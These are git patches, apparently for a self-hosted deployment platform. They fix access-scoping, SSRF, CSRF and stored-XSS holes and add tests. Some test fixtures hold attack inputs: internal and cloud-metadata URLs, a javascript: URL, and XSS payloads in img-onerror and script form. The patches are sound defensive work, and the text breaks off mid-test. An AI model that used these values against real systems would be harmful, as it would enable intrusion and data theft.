-test('hydrateActivity allows access to own teams activity', function () {
+test('hydrateActivity allows access to own teams activity via team_id', function () {
$ownActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
@@ -43,13 +45,13 @@
session(['currentTeam' => ['id' => $this->team->id]]);
$component = Livewire::test(ActivityMonitor::class)
- ->set('activityId', $ownActivity->id);
+ ->call('newMonitorActivity', $ownActivity->id);
expect($component->get('activity'))->not->toBeNull();
expect($component->get('activity')->id)->toBe($ownActivity->id);
});
-test('hydrateActivity allows access to activity without team_id in properties', function () {
+test('hydrateActivity blocks access to activity without team_id or server_uuid', function () {
$legacyActivity = Activity::create([
'log_name' => 'default',
'description' => 'legacy activity',
@@ -59,9 +61,72 @@
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', $legacyActivity->id)
+ ->assertSet('activity', null);
+});
+
+test('hydrateActivity blocks access to activity from another teams server via server_uuid', function () {
+ $otherServer = Server::factory()->create([
+ 'team_id' => $this->otherTeam->id,
+ ]);
+
+ $otherActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['server_uuid' => $otherServer->uuid],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', $otherActivity->id)
+ ->assertSet('activity', null);
+});
+
+test('hydrateActivity allows access to activity from own teams server via server_uuid', function () {
+ $ownServer = Server::factory()->create([
+ 'team_id' => $this->team->id,
+ ]);
+
+ $ownActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['server_uuid' => $ownServer->uuid],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
$component = Livewire::test(ActivityMonitor::class)
- ->set('activityId', $legacyActivity->id);
+ ->call('newMonitorActivity', $ownActivity->id);
expect($component->get('activity'))->not->toBeNull();
- expect($component->get('activity')->id)->toBe($legacyActivity->id);
+ expect($component->get('activity')->id)->toBe($ownActivity->id);
});
+
+test('hydrateActivity returns null for non-existent activity id', function () {
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', 99999)
+ ->assertSet('activity', null);
+});
+
+test('activityId property is locked and cannot be set from client', function () {
+ $otherActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['team_id' => $this->otherTeam->id],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ // Attempting to set a #[Locked] property from the client should throw
+ Livewire::test(ActivityMonitor::class)
+ ->set('activityId', $otherActivity->id)
+ ->assertStatus(500);
+})->throws(CannotUpdateLockedPropertyException::class);
From 0fce7fa9481aa1bcca06d767075684a11e032c79 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 13:45:33 +0100
Subject: [PATCH 081/168] fix: add URL validation for GitHub source api_url and
html_url fields
Add SafeExternalUrl validation rule that ensures URLs point to
publicly-routable hosts. Apply to all GitHub source entry points
(Livewire Create, Livewire Change, API create and update).
Co-Authored-By: Claude Opus 4.6
---
app/Http/Controllers/Api/GithubController.php | 21 ++---
app/Livewire/Source/Github/Change.php | 40 ++++-----
app/Livewire/Source/Github/Create.php | 5 +-
app/Rules/SafeExternalUrl.php | 81 +++++++++++++++++++
tests/Unit/SafeExternalUrlTest.php | 75 +++++++++++++++++
5 files changed, 193 insertions(+), 29 deletions(-)
create mode 100644 app/Rules/SafeExternalUrl.php
create mode 100644 tests/Unit/SafeExternalUrlTest.php
diff --git a/app/Http/Controllers/Api/GithubController.php b/app/Http/Controllers/Api/GithubController.php
index f6a6b3513..9a2cf2b9f 100644
--- a/app/Http/Controllers/Api/GithubController.php
+++ b/app/Http/Controllers/Api/GithubController.php
@@ -5,6 +5,9 @@
use App\Http\Controllers\Controller;
use App\Models\GithubApp;
use App\Models\PrivateKey;
+use App\Rules\SafeExternalUrl;
+use Illuminate\Database\Eloquent\ModelNotFoundException;
+use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Str;
@@ -181,7 +184,7 @@ public function create_github_app(Request $request)
return invalidTokenResponse();
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -204,8 +207,8 @@ public function create_github_app(Request $request)
$validator = customApiValidator($request->all(), [
'name' => 'required|string|max:255',
'organization' => 'nullable|string|max:255',
- 'api_url' => 'required|string|url',
- 'html_url' => 'required|string|url',
+ 'api_url' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'html_url' => ['required', 'string', 'url', new SafeExternalUrl],
'custom_user' => 'nullable|string|max:255',
'custom_port' => 'nullable|integer|min:1|max:65535',
'app_id' => 'required|integer',
@@ -370,7 +373,7 @@ public function load_repositories($github_app_id)
return response()->json([
'repositories' => $repositories->sortBy('name')->values(),
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json(['message' => 'GitHub app not found'], 404);
} catch (\Throwable $e) {
return handleError($e);
@@ -472,7 +475,7 @@ public function load_branches($github_app_id, $owner, $repo)
return response()->json([
'branches' => $branches,
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json(['message' => 'GitHub app not found'], 404);
} catch (\Throwable $e) {
return handleError($e);
@@ -587,10 +590,10 @@ public function update_github_app(Request $request, $github_app_id)
$rules['organization'] = 'nullable|string';
}
if (isset($payload['api_url'])) {
- $rules['api_url'] = 'url';
+ $rules['api_url'] = ['url', new SafeExternalUrl];
}
if (isset($payload['html_url'])) {
- $rules['html_url'] = 'url';
+ $rules['html_url'] = ['url', new SafeExternalUrl];
}
if (isset($payload['custom_user'])) {
$rules['custom_user'] = 'string';
@@ -651,7 +654,7 @@ public function update_github_app(Request $request, $github_app_id)
'message' => 'GitHub app updated successfully',
'data' => $githubApp,
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json([
'message' => 'GitHub app not found',
], 404);
@@ -736,7 +739,7 @@ public function delete_github_app($github_app_id)
return response()->json([
'message' => 'GitHub app deleted successfully',
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json([
'message' => 'GitHub app not found',
], 404);
diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php
index 17323fdec..d6537069c 100644
--- a/app/Livewire/Source/Github/Change.php
+++ b/app/Livewire/Source/Github/Change.php
@@ -5,6 +5,7 @@
use App\Jobs\GithubAppPermissionJob;
use App\Models\GithubApp;
use App\Models\PrivateKey;
+use App\Rules\SafeExternalUrl;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Illuminate\Support\Facades\Http;
use Lcobucci\JWT\Configuration;
@@ -71,24 +72,27 @@ class Change extends Component
public $privateKeys;
- protected $rules = [
- 'name' => 'required|string',
- 'organization' => 'nullable|string',
- 'apiUrl' => 'required|string',
- 'htmlUrl' => 'required|string',
- 'customUser' => 'required|string',
- 'customPort' => 'required|int',
- 'appId' => 'nullable|int',
- 'installationId' => 'nullable|int',
- 'clientId' => 'nullable|string',
- 'clientSecret' => 'nullable|string',
- 'webhookSecret' => 'nullable|string',
- 'isSystemWide' => 'required|bool',
- 'contents' => 'nullable|string',
- 'metadata' => 'nullable|string',
- 'pullRequests' => 'nullable|string',
- 'privateKeyId' => 'nullable|int',
- ];
+ protected function rules(): array
+ {
+ return [
+ 'name' => 'required|string',
+ 'organization' => 'nullable|string',
+ 'apiUrl' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'htmlUrl' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'customUser' => 'required|string',
+ 'customPort' => 'required|int',
+ 'appId' => 'nullable|int',
+ 'installationId' => 'nullable|int',
+ 'clientId' => 'nullable|string',
+ 'clientSecret' => 'nullable|string',
+ 'webhookSecret' => 'nullable|string',
+ 'isSystemWide' => 'required|bool',
+ 'contents' => 'nullable|string',
+ 'metadata' => 'nullable|string',
+ 'pullRequests' => 'nullable|string',
+ 'privateKeyId' => 'nullable|int',
+ ];
+ }
public function boot()
{
diff --git a/app/Livewire/Source/Github/Create.php b/app/Livewire/Source/Github/Create.php
index 4ece6a92f..ec2ba3f08 100644
--- a/app/Livewire/Source/Github/Create.php
+++ b/app/Livewire/Source/Github/Create.php
@@ -3,6 +3,7 @@
namespace App\Livewire\Source\Github;
use App\Models\GithubApp;
+use App\Rules\SafeExternalUrl;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@@ -37,8 +38,8 @@ public function createGitHubApp()
$this->validate([
'name' => 'required|string',
'organization' => 'nullable|string',
- 'api_url' => 'required|string',
- 'html_url' => 'required|string',
+ 'api_url' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'html_url' => ['required', 'string', 'url', new SafeExternalUrl],
'custom_user' => 'required|string',
'custom_port' => 'required|int',
'is_system_wide' => 'required|bool',
diff --git a/app/Rules/SafeExternalUrl.php b/app/Rules/SafeExternalUrl.php
new file mode 100644
index 000000000..41299d6c1
--- /dev/null
+++ b/app/Rules/SafeExternalUrl.php
@@ -0,0 +1,81 @@
+ $attribute,
+ 'url' => $value,
+ 'host' => $host,
+ 'ip' => request()->ip(),
+ 'user_id' => auth()->id(),
+ ]);
+ $fail('The :attribute must not point to internal hosts.');
+
+ return;
+ }
+
+ // Resolve hostname to IP and block private/reserved ranges
+ $ip = gethostbyname($host);
+
+ // gethostbyname returns the original hostname on failure (e.g. unresolvable)
+ if ($ip === $host && ! filter_var($host, FILTER_VALIDATE_IP)) {
+ $fail('The :attribute host could not be resolved.');
+
+ return;
+ }
+
+ if (! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
+ Log::warning('External URL resolves to private or reserved IP', [
+ 'attribute' => $attribute,
+ 'url' => $value,
+ 'host' => $host,
+ 'resolved_ip' => $ip,
+ 'ip' => request()->ip(),
+ 'user_id' => auth()->id(),
+ ]);
+ $fail('The :attribute must not point to a private or reserved IP address.');
+
+ return;
+ }
+ }
+}
diff --git a/tests/Unit/SafeExternalUrlTest.php b/tests/Unit/SafeExternalUrlTest.php
new file mode 100644
index 000000000..b2bc13337
--- /dev/null
+++ b/tests/Unit/SafeExternalUrlTest.php
@@ -0,0 +1,75 @@
+ $url], ['url' => $rule]);
+ expect($validator->passes())->toBeTrue("Expected valid: {$url}");
+ }
+});
+
+it('rejects private IPv4 addresses', function (string $url) {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => $url], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
+})->with([
+ 'loopback' => 'http://127.0.0.1',
+ 'loopback with port' => 'http://127.0.0.1:6379',
+ '10.x range' => 'http://10.0.0.1',
+ '172.16.x range' => 'http://172.16.0.1',
+ '192.168.x range' => 'http://192.168.1.1',
+]);
+
+it('rejects cloud metadata IP', function () {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
+});
+
+it('rejects localhost and internal hostnames', function (string $url) {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => $url], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
+})->with([
+ 'localhost' => 'http://localhost',
+ 'localhost with port' => 'http://localhost:8080',
+ 'zero address' => 'http://0.0.0.0',
+ '.local domain' => 'http://myservice.local',
+ '.internal domain' => 'http://myservice.internal',
+]);
+
+it('rejects non-URL strings', function (string $value) {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => $value], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
+})->with([
+ 'plain string' => 'not-a-url',
+ 'ftp scheme' => 'ftp://example.com',
+ 'javascript scheme' => 'javascript:alert(1)',
+ 'no scheme' => 'example.com',
+]);
+
+it('rejects URLs with IPv6 loopback', function () {
+ $rule = new SafeExternalUrl;
+
+ $validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
+ expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
+});
From 25d424c743d5134d4a005a6d8f754bb3235b632c Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 14:30:27 +0100
Subject: [PATCH 082/168] refactor: split invitation endpoint into GET (show)
and POST (accept)
Refactor the invitation acceptance flow to use a landing page pattern:
- GET shows invitation details (team name, role, confirmation button)
- POST processes the acceptance with proper form submission
- Remove unused revoke GET route (handled by Livewire component)
- Add Blade view for the invitation landing page
- Add feature tests for the new invitation flow
Co-Authored-By: Claude Opus 4.6
---
app/Http/Controllers/Controller.php | 62 ++++----
resources/views/invitation/accept.blade.php | 43 +++++
routes/web.php | 9 +-
.../TeamInvitationCsrfProtectionTest.php | 147 ++++++++++++++++++
4 files changed, 226 insertions(+), 35 deletions(-)
create mode 100644 resources/views/invitation/accept.blade.php
create mode 100644 tests/Feature/TeamInvitationCsrfProtectionTest.php
diff --git a/app/Http/Controllers/Controller.php b/app/Http/Controllers/Controller.php
index 09007ad96..17d14296b 100644
--- a/app/Http/Controllers/Controller.php
+++ b/app/Http/Controllers/Controller.php
@@ -108,9 +108,31 @@ public function link()
return redirect()->route('login')->with('error', 'Invalid credentials.');
}
+ public function showInvitation()
+ {
+ $invitationUuid = request()->route('uuid');
+ $invitation = TeamInvitation::whereUuid($invitationUuid)->firstOrFail();
+ $user = User::whereEmail($invitation->email)->firstOrFail();
+
+ if (Auth::id() !== $user->id) {
+ abort(400, 'You are not allowed to accept this invitation.');
+ }
+
+ if (! $invitation->isValid()) {
+ abort(400, 'Invitation expired.');
+ }
+
+ $alreadyMember = $user->teams()->where('team_id', $invitation->team->id)->exists();
+
+ return view('invitation.accept', [
+ 'invitation' => $invitation,
+ 'team' => $invitation->team,
+ 'alreadyMember' => $alreadyMember,
+ ]);
+ }
+
public function acceptInvitation()
{
- $resetPassword = request()->query('reset-password');
$invitationUuid = request()->route('uuid');
$invitation = TeamInvitation::whereUuid($invitationUuid)->firstOrFail();
@@ -119,43 +141,21 @@ public function acceptInvitation()
if (Auth::id() !== $user->id) {
abort(400, 'You are not allowed to accept this invitation.');
}
- $invitationValid = $invitation->isValid();
- if ($invitationValid) {
- if ($resetPassword) {
- $user->update([
- 'password' => Hash::make($invitationUuid),
- 'force_password_reset' => true,
- ]);
- }
- if ($user->teams()->where('team_id', $invitation->team->id)->exists()) {
- $invitation->delete();
-
- return redirect()->route('team.index');
- }
- $user->teams()->attach($invitation->team->id, ['role' => $invitation->role]);
- $invitation->delete();
-
- refreshSession($invitation->team);
-
- return redirect()->route('team.index');
- } else {
+ if (! $invitation->isValid()) {
abort(400, 'Invitation expired.');
}
- }
- public function revokeInvitation()
- {
- $invitation = TeamInvitation::whereUuid(request()->route('uuid'))->firstOrFail();
- $user = User::whereEmail($invitation->email)->firstOrFail();
- if (is_null(Auth::user())) {
- return redirect()->route('login');
- }
- if (Auth::id() !== $user->id) {
- abort(401);
+ if ($user->teams()->where('team_id', $invitation->team->id)->exists()) {
+ $invitation->delete();
+
+ return redirect()->route('team.index');
}
+ $user->teams()->attach($invitation->team->id, ['role' => $invitation->role]);
$invitation->delete();
+ refreshSession($invitation->team);
+
return redirect()->route('team.index');
}
}
diff --git a/resources/views/invitation/accept.blade.php b/resources/views/invitation/accept.blade.php
new file mode 100644
index 000000000..7e4773866
--- /dev/null
+++ b/resources/views/invitation/accept.blade.php
@@ -0,0 +1,43 @@
+
+
+
+
+
+
+
+
+
+
+
Team Invitation
+
+
+ You have been invited to join:
+
+
+ {{ $team->name }}
+
+
+
+ Role: {{ ucfirst($invitation->role) }}
+
+
+ @if ($alreadyMember)
+
+
You are already a member of this team.
+
+ @endif
+
+
+
+
+
+
+
+
diff --git a/routes/web.php b/routes/web.php
index 4154fefab..dfb44324c 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -84,6 +84,7 @@
use App\Livewire\Team\Member\Index as TeamMemberIndex;
use App\Livewire\Terminal\Index as TerminalIndex;
use App\Models\ScheduledDatabaseBackupExecution;
+use App\Models\ServiceDatabase;
use App\Providers\RouteServiceProvider;
use Illuminate\Support\Facades\Route;
use Illuminate\Support\Facades\Storage;
@@ -192,8 +193,8 @@
})->name('terminal.auth.ips')->middleware('can.access.terminal');
Route::prefix('invitations')->group(function () {
- Route::get('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept');
- Route::get('/{uuid}/revoke', [Controller::class, 'revokeInvitation'])->name('team.invitation.revoke');
+ Route::get('/{uuid}', [Controller::class, 'showInvitation'])->name('team.invitation.show');
+ Route::post('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept');
});
Route::get('/projects', ProjectIndex::class)->name('project.index');
@@ -344,7 +345,7 @@
}
}
$filename = data_get($execution, 'filename');
- if ($execution->scheduledDatabaseBackup->database->getMorphClass() === \App\Models\ServiceDatabase::class) {
+ if ($execution->scheduledDatabaseBackup->database->getMorphClass() === ServiceDatabase::class) {
$server = $execution->scheduledDatabaseBackup->database->service->destination->server;
} else {
$server = $execution->scheduledDatabaseBackup->database->destination->server;
@@ -385,7 +386,7 @@
'Content-Type' => 'application/octet-stream',
'Content-Disposition' => 'attachment; filename="'.basename($filename).'"',
]);
- } catch (\Throwable $e) {
+ } catch (Throwable $e) {
return response()->json(['message' => $e->getMessage()], 500);
}
})->name('download.backup');
diff --git a/tests/Feature/TeamInvitationCsrfProtectionTest.php b/tests/Feature/TeamInvitationCsrfProtectionTest.php
new file mode 100644
index 000000000..1e911ed86
--- /dev/null
+++ b/tests/Feature/TeamInvitationCsrfProtectionTest.php
@@ -0,0 +1,147 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create(['email' => 'invited@example.com']);
+
+ $this->invitation = TeamInvitation::create([
+ 'team_id' => $this->team->id,
+ 'uuid' => 'test-invitation-uuid',
+ 'email' => 'invited@example.com',
+ 'role' => 'member',
+ 'link' => url('/invitations/test-invitation-uuid'),
+ 'via' => 'link',
+ ]);
+});
+
+test('GET invitation shows landing page without accepting', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->get('/invitations/test-invitation-uuid');
+
+ $response->assertStatus(200);
+ $response->assertViewIs('invitation.accept');
+ $response->assertSee($this->team->name);
+ $response->assertSee('Accept Invitation');
+
+ // Invitation should NOT be deleted (not accepted yet)
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+
+ // User should NOT be added to the team
+ expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeFalse();
+});
+
+test('GET invitation with reset-password query param does not reset password', function () {
+ $this->actingAs($this->user);
+ $originalPassword = $this->user->password;
+
+ $response = $this->get('/invitations/test-invitation-uuid?reset-password=1');
+
+ $response->assertStatus(200);
+
+ // Password should NOT be changed
+ $this->user->refresh();
+ expect($this->user->password)->toBe($originalPassword);
+
+ // Invitation should NOT be accepted
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+});
+
+test('POST invitation accepts and adds user to team', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->post('/invitations/test-invitation-uuid');
+
+ $response->assertRedirect(route('team.index'));
+
+ // Invitation should be deleted
+ $this->assertDatabaseMissing('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+
+ // User should be added to the team
+ expect($this->user->teams()->where('team_id', $this->team->id)->exists())->toBeTrue();
+});
+
+test('POST invitation without CSRF token is rejected', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->withoutMiddleware(EncryptCookies::class)
+ ->post('/invitations/test-invitation-uuid', [], [
+ 'X-CSRF-TOKEN' => 'invalid-token',
+ ]);
+
+ // Should be rejected with 419 (CSRF token mismatch)
+ $response->assertStatus(419);
+
+ // Invitation should NOT be accepted
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+});
+
+test('unauthenticated user cannot view invitation', function () {
+ $response = $this->get('/invitations/test-invitation-uuid');
+
+ $response->assertRedirect();
+});
+
+test('wrong user cannot view invitation', function () {
+ $otherUser = User::factory()->create(['email' => 'other@example.com']);
+ $this->actingAs($otherUser);
+
+ $response = $this->get('/invitations/test-invitation-uuid');
+
+ $response->assertStatus(400);
+});
+
+test('wrong user cannot accept invitation via POST', function () {
+ $otherUser = User::factory()->create(['email' => 'other@example.com']);
+ $this->actingAs($otherUser);
+
+ $response = $this->post('/invitations/test-invitation-uuid');
+
+ $response->assertStatus(400);
+
+ // Invitation should still exist
+ $this->assertDatabaseHas('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+});
+
+test('GET revoke route no longer exists', function () {
+ $this->actingAs($this->user);
+
+ $response = $this->get('/invitations/test-invitation-uuid/revoke');
+
+ $response->assertStatus(404);
+});
+
+test('POST invitation for already-member user deletes invitation without duplicating', function () {
+ $this->user->teams()->attach($this->team->id, ['role' => 'member']);
+ $this->actingAs($this->user);
+
+ $response = $this->post('/invitations/test-invitation-uuid');
+
+ $response->assertRedirect(route('team.index'));
+
+ // Invitation should be deleted
+ $this->assertDatabaseMissing('team_invitations', [
+ 'uuid' => 'test-invitation-uuid',
+ ]);
+
+ // User should still have exactly one membership in this team
+ expect($this->user->teams()->where('team_id', $this->team->id)->count())->toBe(1);
+});
From 103d5b6c0634644b8e1bc01bf8540480aef65d0a Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 18:36:36 +0100
Subject: [PATCH 083/168] fix: sanitize error output in server validation logs
Escape dynamic error messages with htmlspecialchars() before
concatenating into HTML strings stored in validation_logs. Add a
Purify-based mutator on Server model as defense-in-depth, with a
dedicated HTMLPurifier config that allows only safe structural tags.
Co-Authored-By: Claude Opus 4.6
---
app/Actions/Server/ValidateServer.php | 3 +-
app/Jobs/ValidateAndInstallServerJob.php | 5 +-
app/Livewire/Server/PrivateKey/Show.php | 3 +-
app/Livewire/Server/ValidateAndInstall.php | 3 +-
app/Models/Server.php | 7 ++
config/purify.php | 11 ++++
tests/Feature/ServerValidationXssTest.php | 75 ++++++++++++++++++++++
7 files changed, 102 insertions(+), 5 deletions(-)
create mode 100644 tests/Feature/ServerValidationXssTest.php
diff --git a/app/Actions/Server/ValidateServer.php b/app/Actions/Server/ValidateServer.php
index 0a20deae5..22c48aa89 100644
--- a/app/Actions/Server/ValidateServer.php
+++ b/app/Actions/Server/ValidateServer.php
@@ -30,7 +30,8 @@ public function handle(Server $server)
]);
['uptime' => $this->uptime, 'error' => $error] = $server->validateConnection();
if (! $this->uptime) {
- $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help. Error: '.$error.'
';
+ $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8');
+ $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help. Error: '.$sanitizedError.'
';
$server->update([
'validation_logs' => $this->error,
]);
diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php
index 288904471..ee8cf2797 100644
--- a/app/Jobs/ValidateAndInstallServerJob.php
+++ b/app/Jobs/ValidateAndInstallServerJob.php
@@ -45,7 +45,8 @@ public function handle(): void
// Validate connection
['uptime' => $uptime, 'error' => $error] = $this->server->validateConnection();
if (! $uptime) {
- $errorMessage = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help. Error: '.$error;
+ $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8');
+ $errorMessage = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help. Error: '.$sanitizedError;
$this->server->update([
'validation_logs' => $errorMessage,
'is_validating' => false,
@@ -197,7 +198,7 @@ public function handle(): void
]);
$this->server->update([
- 'validation_logs' => 'An error occurred during validation: '.$e->getMessage(),
+ 'validation_logs' => 'An error occurred during validation: '.htmlspecialchars($e->getMessage(), ENT_QUOTES, 'UTF-8'),
'is_validating' => false,
]);
}
diff --git a/app/Livewire/Server/PrivateKey/Show.php b/app/Livewire/Server/PrivateKey/Show.php
index fd55717fa..810b95ed4 100644
--- a/app/Livewire/Server/PrivateKey/Show.php
+++ b/app/Livewire/Server/PrivateKey/Show.php
@@ -63,7 +63,8 @@ public function checkConnection()
$this->dispatch('success', 'Server is reachable.');
$this->dispatch('refreshServerShow');
} else {
- $this->dispatch('error', 'Server is not reachable. Check this documentation for further help. Error: '.$error);
+ $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8');
+ $this->dispatch('error', 'Server is not reachable. Check this documentation for further help. Error: '.$sanitizedError);
return;
}
diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php
index 198d823b9..59ca4cd36 100644
--- a/app/Livewire/Server/ValidateAndInstall.php
+++ b/app/Livewire/Server/ValidateAndInstall.php
@@ -89,7 +89,8 @@ public function validateConnection()
$this->authorize('update', $this->server);
['uptime' => $this->uptime, 'error' => $error] = $this->server->validateConnection();
if (! $this->uptime) {
- $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help. Error: '.$error.'
';
+ $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8');
+ $this->error = 'Server is not reachable. Please validate your configuration and connection. Check this documentation for further help. Error: '.$sanitizedError.'
';
$this->server->update([
'validation_logs' => $this->error,
]);
diff --git a/app/Models/Server.php b/app/Models/Server.php
index 9237763c8..00843b3da 100644
--- a/app/Models/Server.php
+++ b/app/Models/Server.php
@@ -269,6 +269,13 @@ public static function flushIdentityMap(): void
use HasSafeStringAttribute;
+ public function setValidationLogsAttribute($value): void
+ {
+ $this->attributes['validation_logs'] = $value !== null
+ ? \Stevebauman\Purify\Facades\Purify::config('validation_logs')->clean($value)
+ : null;
+ }
+
public function type()
{
return 'server';
diff --git a/config/purify.php b/config/purify.php
index 66dbbb568..a5dcabb92 100644
--- a/config/purify.php
+++ b/config/purify.php
@@ -49,6 +49,17 @@
'AutoFormat.RemoveEmpty' => false,
],
+ 'validation_logs' => [
+ 'Core.Encoding' => 'utf-8',
+ 'HTML.Doctype' => 'HTML 4.01 Transitional',
+ 'HTML.Allowed' => 'a[href|title|target|class],br,div[class],pre[class],span[class],p[class]',
+ 'HTML.ForbiddenElements' => '',
+ 'CSS.AllowedProperties' => '',
+ 'AutoFormat.AutoParagraph' => false,
+ 'AutoFormat.RemoveEmpty' => false,
+ 'Attr.AllowedFrameTargets' => ['_blank'],
+ ],
+
],
/*
diff --git a/tests/Feature/ServerValidationXssTest.php b/tests/Feature/ServerValidationXssTest.php
new file mode 100644
index 000000000..ba8e6fcae
--- /dev/null
+++ b/tests/Feature/ServerValidationXssTest.php
@@ -0,0 +1,75 @@
+create();
+ $this->team = Team::factory()->create();
+ $user->teams()->attach($this->team);
+ $this->actingAs($user);
+ session(['currentTeam' => $this->team]);
+
+ $this->server = Server::factory()->create([
+ 'team_id' => $this->team->id,
+ ]);
+});
+
+it('strips dangerous HTML from validation_logs via mutator', function () {
+ $xssPayload = ' ';
+ $this->server->update(['validation_logs' => $xssPayload]);
+ $this->server->refresh();
+
+ expect($this->server->validation_logs)->not->toContain(' and($this->server->validation_logs)->not->toContain('onerror');
+});
+
+it('strips script tags from validation_logs', function () {
+ $xssPayload = '';
+ $this->server->update(['validation_logs' => $xssPayload]);
+ $this->server->refresh();
+
+ expect($this->server->validation_logs)->not->toContain('